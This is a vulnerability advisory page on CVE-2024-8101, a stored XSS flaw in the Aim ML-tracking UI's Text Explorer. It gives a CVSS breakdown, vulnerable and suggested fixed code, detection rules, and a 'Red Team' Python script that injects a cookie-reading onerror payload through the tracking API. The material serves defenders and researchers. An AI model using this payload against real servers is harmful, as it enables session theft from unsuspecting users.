CVE-2024-8101
Executive Summary
CVE-2024-8101 is a stored cross-site scripting (XSS) vulnerability in the Text Explorer component of aimhubio/aim version 3.23.0. The vulnerability arises from the use of dangerouslySetInnerHTML without proper sanitization, allowing arbitrary JavaScript execution when rendering tracked texts. An attacker can inject malicious HTML content during the training process, which is then rendered unsanitized in the Text Explorer. The CVSS score is 7.2 (High), and the EPSS score is 0.0%, indicating low exploitation likelihood currently. No public exploit code or patch is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python package aim (PyPI). Organizations using this package in their ML/MLOps pipelines should verify their version and apply mitigations immediately. The use of dangerouslySetInnerHTML indicates a React-based frontend component, which is part of the Aim UI.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) - victim must view the malicious text in Text Explorer
- Scope: Changed (S:C) - impact may extend beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although EPSS is low, the vulnerability is trivial to exploit once an attacker can inject tracked text.
Deep Dive & Mechanics
The vulnerability exists in the Text Explorer component of Aim, which is used to visualize tracked text data (e.g., logs, metrics, or custom text). The component uses React's dangerouslySetInnerHTML to render user-supplied text without sanitization. This allows an attacker to inject arbitrary HTML/JavaScript.
Attack Flow:
- Attacker gains access to the Aim tracking API (e.g., via network access or compromised credentials).
- Attacker sends a tracked text containing malicious HTML, such as
<img src=x onerror=alert(1)>. - When a victim (e.g., data scientist) opens the Text Explorer in the Aim UI, the malicious script executes in their browser context.
Root Cause: The developer used dangerouslySetInnerHTML instead of a safe rendering method (e.g., React's default JSX escaping or DOMPurify sanitization).
Vulnerable vs. Patched Code
Vulnerable Code (aim 3.23.0):
// In TextExplorer component
function TextExplorer({ text }) {
return <div dangerouslySetInnerHTML={{ __html: text }} />;
}
Patched Code (hypothetical):
import DOMPurify from 'dompurify';
function TextExplorer({ text }) {
const sanitized = DOMPurify.sanitize(text);
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}
Alternatively, the component should use React's default escaping:
function TextExplorer({ text }) {
return <div>{text}</div>;
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to Aim tracking API (e.g.,
http://target:53800/aim/api/track) - Ability to send POST requests with tracked text
Exploit Payload:
import requests
target = "http://victim-aim-server:53800"
payload = '<img src=x onerror=alert(document.cookie)>'
# Track a text with malicious content
data = {
"run": "exploit-run",
"text": payload,
"context": {"subset": "train"}
}
requests.post(f"{target}/aim/api/track", json=data)
Lab Setup:
- Deploy Aim 3.23.0 using Docker:
docker run -p 53800:53800 aimhubio/aim:3.23.0 - Run the exploit script to inject malicious text.
- Open the Aim UI at
http://localhost:53800and navigate to Text Explorer to trigger XSS.
Blue Team (Detection & Prevention)
Detection:
- Monitor Aim API logs for unusual text content (e.g., HTML tags, script elements).
- Use WAF rules to block common XSS payloads in API requests.
Prevention:
- Apply input sanitization on the server side before storing tracked text.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Upgrade to a patched version when available.
Indicators of Compromise (IOCs)
- Network: POST requests to
/aim/api/trackcontaining HTML tags (e.g.,<script>,<img onerror=) - Logs: Aim server logs showing tracked text with suspicious HTML content
- UI: Text Explorer rendering unexpected HTML elements or executing JavaScript
Detection Engineering
YARA Rule
rule CVE_2024_8101_XSS_Payload {
meta:
description = "Detects XSS payloads targeting Aim Text Explorer"
author = "Valters IT"
date = "2024-10-01"
reference = "CVE-2024-8101"
strings:
$dangerous = /dangerouslySetInnerHTML/
$xss_payload_1 = /<script>/
$xss_payload_2 = /<img\s+[^>]*onerror=/
$xss_payload_3 = /<svg\s+[^>]*onload=/
condition:
$dangerous or any of ($xss_payload_*)
}
Sigma Rule
title: CVE-2024-8101 Aim Text Explorer XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in Aim Text Explorer
author: Valters IT
logsource:
category: webserver
product: aim
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/aim/api/track'
cs-uri-query|contains:
- '<script>'
- '<img'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of HTML in tracked text (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-8101 Aim Text Explorer XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/aim/api/track"; http_uri;
content:"<script>"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2024-8101;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Text Explorer component if not needed.
- Implement a reverse proxy (e.g., Nginx) with WAF rules to block XSS payloads.
- Restrict network access to the Aim API to trusted IPs only.
Long-term Fix:
- Upgrade to a patched version of Aim when available.
- Apply input sanitization on the server side using libraries like
bleach(Python) orDOMPurify(JavaScript). - Replace
dangerouslySetInnerHTMLwith safe rendering methods.
Workaround:
- Use a Content Security Policy (CSP) header:
Content-Security-Policy: default-src 'self'; script-src 'none';
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.